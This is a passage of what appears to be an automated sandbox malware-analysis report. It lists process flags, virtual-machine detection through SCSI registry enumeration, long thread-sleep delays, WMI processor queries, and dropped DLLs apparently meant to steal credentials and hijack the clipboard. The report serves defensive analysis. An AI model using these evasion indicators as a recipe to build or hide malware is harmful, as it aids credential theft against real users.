Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Roaming\utihrjr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Memory allocated: 18E5DA90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Memory allocated: 18E77780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Memory allocated: 179E7450000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Memory allocated: 179E9040000 memory reserve \| memory write watch

Source: C:\Windows\System32\OpenWith.exe

Code function: 2_3_00007DF486ECAC1C str word ptr [eax-75h]

2_3_00007DF486ECAC1C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5929	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3890	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 431	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 953	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 509	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 357	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 882	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 467

Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\B88B.exe	API coverage: 3.8 %
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	API coverage: 2.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5224	Thread sleep count: 5929 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5852	Thread sleep count: 3890 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5052	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1984	Thread sleep count: 431 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7128	Thread sleep count: 953 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7128	Thread sleep time: -95300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5944	Thread sleep count: 509 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5944	Thread sleep time: -50900s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6172	Thread sleep count: 218 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7144	Thread sleep count: 357 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7144	Thread sleep time: -35700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6248	Thread sleep count: 298 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 5308	Thread sleep time: -930000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 2892	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 5052	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 5308	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 5376	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2536	Thread sleep count: 57 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 2536	Thread sleep time: -57000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2284	Thread sleep count: 54 > 30
Source: C:\Windows\explorer.exe TID: 2284	Thread sleep time: -54000s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1284	Thread sleep count: 63 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1284	Thread sleep time: -63000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 1780	Thread sleep count: 467 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 1780	Thread sleep time: -280200000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 1780	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 3588	Thread sleep count: 42 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 3588	Thread sleep time: -42000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2332	Thread sleep count: 46 > 30
Source: C:\Windows\explorer.exe TID: 2332	Thread sleep time: -46000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 5168	Thread sleep count: 55 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 5168	Thread sleep time: -55000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe TID: 3624	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
